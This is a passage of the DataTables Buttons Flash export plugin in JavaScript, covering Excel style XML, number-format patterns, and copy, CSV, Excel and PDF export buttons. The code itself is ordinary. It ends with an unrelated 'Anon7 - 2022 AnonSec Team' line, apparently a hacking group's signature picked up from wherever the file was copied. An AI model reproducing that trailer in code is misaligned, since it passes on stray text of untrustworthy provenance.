        '<xf numFmtId="0" fontId="1" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment horizontal="left"/>' +
        '</xf>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment horizontal="center"/>' +
        '</xf>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment horizontal="right"/>' +
        '</xf>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment horizontal="fill"/>' +
        '</xf>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment textRotation="90"/>' +
        '</xf>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment wrapText="1"/>' +
        '</xf>' +
        '<xf numFmtId="9"   fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="164" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="165" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="166" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="167" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="168" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="169" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="3" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="4" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '</cellXfs>' +
        '<cellStyles count="1">' +
        '<cellStyle name="Normal" xfId="0" builtinId="0" />' +
        '</cellStyles>' +
        '<dxfs count="0" />' +
        '<tableStyles count="0" defaultTableStyle="TableStyleMedium9" defaultPivotStyle="PivotStyleMedium4" />' +
        '</styleSheet>'
    };
// Note we could use 3 `for` loops for the styles, but when gzipped there is
// virtually no difference in size, since the above can be easily compressed

// Pattern matching for special number formats. Perhaps this should be exposed
// via an API in future?
    var _excelSpecials = [
        {
            match: /^\-?\d+\.\d%$/, style: 60, fmt: function (d) {
            return d / 100;
        }
        }, // Precent with d.p.
        {
            match: /^\-?\d+\.?\d*%$/, style: 56, fmt: function (d) {
            return d / 100;
        }
        }, // Percent
        {match: /^\-?\$[\d,]+.?\d*$/, style: 57}, // Dollars
        {match: /^\-?£[\d,]+.?\d*$/, style: 58}, // Pounds
        {match: /^\-?€[\d,]+.?\d*$/, style: 59}, // Euros
        {
            match: /^\([\d,]+\)$/, style: 61, fmt: function (d) {
            return -1 * d.replace(/[\(\)]/g, '');
        }
        },  // Negative numbers indicated by brackets
        {
            match: /^\([\d,]+\.\d{2}\)$/, style: 62, fmt: function (d) {
            return -1 * d.replace(/[\(\)]/g, '');
        }
        },  // Negative numbers indicated by brackets - 2d.p.
        {match: /^[\d,]+$/, style: 63}, // Numbers with thousand separators
        {match: /^[\d,]+\.\d{2}$/, style: 64}  // Numbers with 2d.p. and thousands separators
    ];


    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * DataTables options and methods
     */

// Set the default SWF path
    DataTable.Buttons.swfPath = '//cdn.datatables.net/buttons/1.2.4/swf/flashExport.swf';

// Method to allow Flash buttons to be resized when made visible - as they are
// of zero height and width if initialised hidden
    DataTable.Api.register('buttons.resize()', function () {
        $.each(ZeroClipboard_TableTools.clients, function (i, client) {
            if (client.domElement !== undefined && client.domElement.parentNode) {
                client.positionElement();
            }
        });
    });


    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * Button definitions
     */

// Copy to clipboard
    DataTable.ext.buttons.copyFlash = $.extend({}, flashButton, {
        className: 'buttons-copy buttons-flash',

        text: function (dt) {
            return dt.i18n('buttons.copy', 'Copy');
        },

        action: function (e, dt, button, config) {
            // Check that the trigger did actually occur due to a Flash activation
            if (!config._fromFlash) {
                return;
            }

            this.processing(true);

            var flash  = config._flash;
            var data   = _exportData(dt, config);
            var output = config.customize ?
                config.customize(data.str, config) :
                data.str;

            flash.setAction('copy');
            _setText(flash, output);

            this.processing(false);

            dt.buttons.info(
                dt.i18n('buttons.copyTitle', 'Copy to clipboard'),
                dt.i18n('buttons.copySuccess', {
                    _: 'Copied %d rows to clipboard',
                    1: 'Copied 1 row to clipboard'
                }, data.rows),
                3000
            );
        },

        fieldSeparator: '\t',

        fieldBoundary: ''
    });

// CSV save file
    DataTable.ext.buttons.csvFlash = $.extend({}, flashButton, {
        className: 'buttons-csv buttons-flash',

        text: function (dt) {
            return dt.i18n('buttons.csv', 'CSV');
        },

        action: function (e, dt, button, config) {
            // Set the text
            var flash  = config._flash;
            var data   = _exportData(dt, config);
            var output = config.customize ?
                config.customize(data.str, config) :
                data.str;

            flash.setAction('csv');
            flash.setFileName(_filename(config));
            _setText(flash, output);
        },

        escapeChar: '"'
    });

// Excel save file - this is really a CSV file using UTF-8 that Excel can read
    DataTable.ext.buttons.excelFlash = $.extend({}, flashButton, {
        className: 'buttons-excel buttons-flash',

        text: function (dt) {
            return dt.i18n('buttons.excel', 'Excel');
        },

        action: function (e, dt, button, config) {
            this.processing(true);

            var flash   = config._flash;
            var rowPos  = 0;
            var rels    = $.parseXML(excelStrings['xl/worksheets/sheet1.xml']); //Parses xml
            var relsGet = rels.getElementsByTagName("sheetData")[0];

            var xlsx = {
                _rels: {
                    ".rels": $.parseXML(excelStrings['_rels/.rels'])
                },
                xl: {
                    _rels: {
                        "workbook.xml.rels": $.parseXML(excelStrings['xl/_rels/workbook.xml.rels'])
                    },
                    "workbook.xml": $.parseXML(excelStrings['xl/workbook.xml']),
                    "styles.xml": $.parseXML(excelStrings['xl/styles.xml']),
                    "worksheets": {
                        "sheet1.xml": rels
                    }

                },
                "[Content_Types].xml": $.parseXML(excelStrings['[Content_Types].xml'])
            };

            var data   = dt.buttons.exportData(config.exportOptions);
            var currentRow, rowNode;
            var addRow = function (row) {
                currentRow = rowPos + 1;
                rowNode    = _createNode(rels, "row", {attr: {r: currentRow}});

                for (var i = 0, ien = row.length; i < ien; i++) {
                    // Concat both the Cell Columns as a letter and the Row of the cell.
                    var cellId = createCellPos(i) + '' + currentRow;
                    var cell   = null;

                    // For null, undefined of blank cell, continue so it doesn't create the _createNode
                    if (row[i] === null || row[i] === undefined || row[i] === '') {
                        continue;
                    }

                    row[i] = $.trim(row[i]);

                    // Special number formatting options
                    for (var j = 0, jen = _excelSpecials.length; j < jen; j++) {
                        var special = _excelSpecials[j];

                        // TODO Need to provide the ability for the specials to say
                        // if they are returning a string, since at the moment it is
                        // assumed to be a number
                        if (row[i].match && !row[i].match(/^0\d+/) && row[i].match(special.match)) {
                            var val = row[i].replace(/[^\d\.\-]/g, '');

                            if (special.fmt) {
                                val = special.fmt(val);
                            }

                            cell = _createNode(rels, 'c', {
                                attr: {
                                    r: cellId,
                                    s: special.style
                                },
                                children: [
                                    _createNode(rels, 'v', {text: val})
                                ]
                            });

                            break;
                        }
                    }

                    if (!cell) {
                        if (typeof row[i] === 'number' || (
                                row[i].match &&
                                row[i].match(/^-?\d+(\.\d+)?$/) &&
                                !row[i].match(/^0\d+/) )
                        ) {
                            // Detect numbers - don't match numbers with leading zeros
                            // or a negative anywhere but the start
                            cell = _createNode(rels, 'c', {
                                attr: {
                                    t: 'n',
                                    r: cellId
                                },
                                children: [
                                    _createNode(rels, 'v', {text: row[i]})
                                ]
                            });
                        }
                        else {
                            // String output - replace non standard characters for text output
                            var text = !row[i].replace ?
                                row[i] :
                                row[i].replace(/[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]/g, '');

                            cell = _createNode(rels, 'c', {
                                attr: {
                                    t: 'inlineStr',
                                    r: cellId
                                },
                                children: {
                                    row: _createNode(rels, 'is', {
                                        children: {
                                            row: _createNode(rels, 't', {
                                                text: text
                                            })
                                        }
                                    })
                                }
                            });
                        }
                    }

                    rowNode.appendChild(cell);
                }

                relsGet.appendChild(rowNode);
                rowPos++;
            };

            $('sheets sheet', xlsx.xl['workbook.xml']).attr('name', _sheetname(config));

            if (config.customizeData) {
                config.customizeData(data);
            }

            if (config.header) {
                addRow(data.header, rowPos);
                $('row c', rels).attr('s', '2'); // bold
            }

            for (var n = 0, ie = data.body.length; n < ie; n++) {
                addRow(data.body[n], rowPos);
            }

            if (config.footer && data.footer) {
                addRow(data.footer, rowPos);
                $('row:last c', rels).attr('s', '2'); // bold
            }

            // Set column widths
            var cols = _createNode(rels, 'cols');
            $('worksheet', rels).prepend(cols);

            for (var i = 0, ien = data.header.length; i < ien; i++) {
                cols.appendChild(_createNode(rels, 'col', {
                    attr: {
                        min: i + 1,
                        max: i + 1,
                        width: _excelColWidth(data, i),
                        customWidth: 1
                    }
                }));
            }

            // Let the developer customise the document if they want to
            if (config.customize) {
                config.customize(xlsx);
            }

            _xlsxToStrings(xlsx);

            flash.setAction('excel');
            flash.setFileName(_filename(config));
            flash.setSheetData(xlsx);
            _setText(flash, '');

            this.processing(false);
        },

        extension: '.xlsx'
    });


// PDF export
    DataTable.ext.buttons.pdfFlash = $.extend({}, flashButton, {
        className: 'buttons-pdf buttons-flash',

        text: function (dt) {
            return dt.i18n('buttons.pdf', 'PDF');
        },

        action: function (e, dt, button, config) {
            this.processing(true);

            // Set the text
            var flash      = config._flash;
            var data       = dt.buttons.exportData(config.exportOptions);
            var totalWidth = dt.table().node().offsetWidth;

            // Calculate the column width ratios for layout of the table in the PDF
            var ratios = dt.columns(config.columns).indexes().map(function (idx) {
                return dt.column(idx).header().offsetWidth / totalWidth;
            });

            flash.setAction('pdf');
            flash.setFileName(_filename(config));

            _setText(flash, JSON.stringify({
                title: _filename(config, false),
                message: typeof config.message == 'function' ? config.message(dt, button, config) : config.message,
                colWidth: ratios.toArray(),
                orientation: config.orientation,
                size: config.pageSize,
                header: config.header ? data.header : null,
                footer: config.footer ? data.footer : null,
                body: data.body
            }));

            this.processing(false);
        },

        extension: '.pdf',

        orientation: 'portrait',

        pageSize: 'A4',

        message: '',

        newline: '\n'
    });


    return DataTable.Buttons;
}));

Anon7 - 2022
AnonSec Team